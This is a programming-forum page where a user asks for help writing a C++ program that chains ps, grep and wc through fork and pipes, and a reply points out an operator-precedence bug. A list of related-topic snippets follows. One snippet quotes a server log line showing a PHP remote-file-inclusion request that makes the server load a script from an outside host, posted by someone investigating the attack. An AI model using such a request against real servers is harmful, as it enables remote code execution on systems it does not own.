Hi,
I'm in unix trying to code a c++ program to replicate this command:
ps -A | grep argv[1] | wc -l.
Here is what I have, which doesn't work, and I'm totally lost. Can anyone please help me ? !!!!!!!!!!!!!!! !!!!!!!!!!!!!!! !!!!!!
#include <iostream>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
using namespace std;
int main(int argc, char *argv[])
{
int pid,pid1,pid2;
int a[2];
int rv;
pipe(a);
if ((pid = fork() == 0))
{
if ((pid1 = fork() == 0))
{
dup2(a[1],1);
close(a[1]);
close(a[0]);
if ((pid2 = fork()) == 0)
{
dup2(a[1],1);
close(a[1]);
close(a[0]);
execlp("/bin/ps","ps","-A",NULL);
}
else
{
dup2(a[0],0);
close(a[1]);
close(a[0]);
execlp("/bin/grep" , "grep" ,argv[1], NULL );
}
}
cout << "back to child" << endl;
execlp("/usr/bin/wc" , "wc" , "-l", NULL );
}
else
{
wait(&rv);
}
return 0;
}
1 5075 - if ((pid = fork() == 0)) <<?
-
{
-
-
if ((pid1 = fork() == 0)) <<?
-
{
-
-
etc...
-
-
if ((pid2 = fork()) == 0)
-
{
I didn't look at the logic butin the fist two cases, the == operator will execute first due to its higher precedance than the = operator.
The last case looks right.
Sign in to post your reply or Sign up for a free account.
Similar topics |
by: hue |
last post by:
I am trying to parse command line options using getopt module.
I have written the following Code
import string
import getopt
def usage():
print '''haarp_make.py -- uses getopt to recognize options
|
by: rkoida |
last post by:
Hello evryone
I am a newbie to python. I have a makefile which i can compile in
UNIX/LINUX, But i
I am planning to write a python script which actually does what my
MAKEFILE does. The make file is
#Makefile and some scripts to give output
#numbers
#Change till sign #END
|
by: Ryan M |
last post by:
I've been programming for a while, but most of my experience is on unix.
How do C compilers work on operating systems that weren't written in C?
And that have no libc?
Compiling C on unix seems so easy. Everything in the code either goes
right to machine code, or links to a C library (often libc) or links to
the kernel. Are there libc equivalents on non-unix OSes?
--
Using M2, Opera's revolutionary e-mail client:...
|
by: SunRise |
last post by:
Hi
I am creating a C Program , to extract
only-Printable-characters from a file ( any type of file) and display
them.
OS: Windows-XP
Ple help me to fix the Errors & Warnings and explain how to use
Command-Line Arguments inside C program.
|
by: niket patel |
last post by:
Hi
There is a unix server and and we access unix and perform its commond using
exceed or ftp through dos.
Now i want to create an application in Visual Studio C#.Net 2003 such that i
can create an interface and from that i can connect to unix and then perform
some unix command through my code.
Say for example :
There is one file abc.csv. on unix server.and other list of directories.
Now if i want to do "ls -l" or "grep -i" command from...
| |
by: Ignoramus6539 |
last post by:
There were some strange requests to my server asking for config.php
file (which I do not have in the requested location).
I did some investigation. Seems to be a virus written in perl,
exploiting a vulnerability in php code.
The requests are like this
216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
|
by: niteck07 |
last post by:
I am using following shell script to ftp files to another server
but this is failing as the shell script changes the user name for the ftp login
the correct user name is 'ag\invprint' which the script is fetching from a file using grep command but the ftp log says the script is trying to logon as user 'aginvprint'
Looks like the script is removing the character '\' when trying to ftp
Can someone please help and let me know how to...
|
by: jazon |
last post by:
Let me start by saying this for an Operating Systems class. No, I don't expect the work to be done for me.
The assignment is as follows:
To be honest, I feel like a fish out of water, like many of the others in the class. We haven't been exposed to any Unix and the professor hasn't, yet, said much more than the book, which is no help at this point.
From what I've figured out and what I've blindly seen on the net and hoped would...
|
by: andrewkl |
last post by:
hi,
I wrote a C program (runas.c) that runs a command as a different user on Solaris 8.
The problem I'm having is that the new user's group memberships aren't going into
effect. Take the following scenario:
I login as "kirk". I need to run some commands as "spock". kirk and spock belong
to these Unix groups:
$ groups kirk spock
|
by: Anton Slesarev |
last post by:
I've read great paper about generators:
http://www.dabeaz.com/generators/index.html
Author say that it's easy to write analog of common linux tools such
as awk,grep etc. He say that performance could be even better.
But I have some problem with writing performance grep analog.
It's my script:
|
by: marktang |
last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look !
Part I. Meaning of...
| |
by: Hystou |
last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it.
First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
|
by: jinu1996 |
last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth.
The Art of Business Website Design
Your website is...
|
by: Hystou |
last post by:
Overview:
Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
|
by: tracyyun |
last post by:
Dear forum friends,
With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
|
by: agi2029 |
last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own....
Now, this would greatly impact the work of software developers. The idea...
|
by: isladogs |
last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM).
In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules.
He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms.
Adolph will...
| |
by: TSSRALBI |
last post by:
Hello
I'm a network technician in training and I need your help.
I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs.
The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols.
I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
|
by: adsilva |
last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
| | |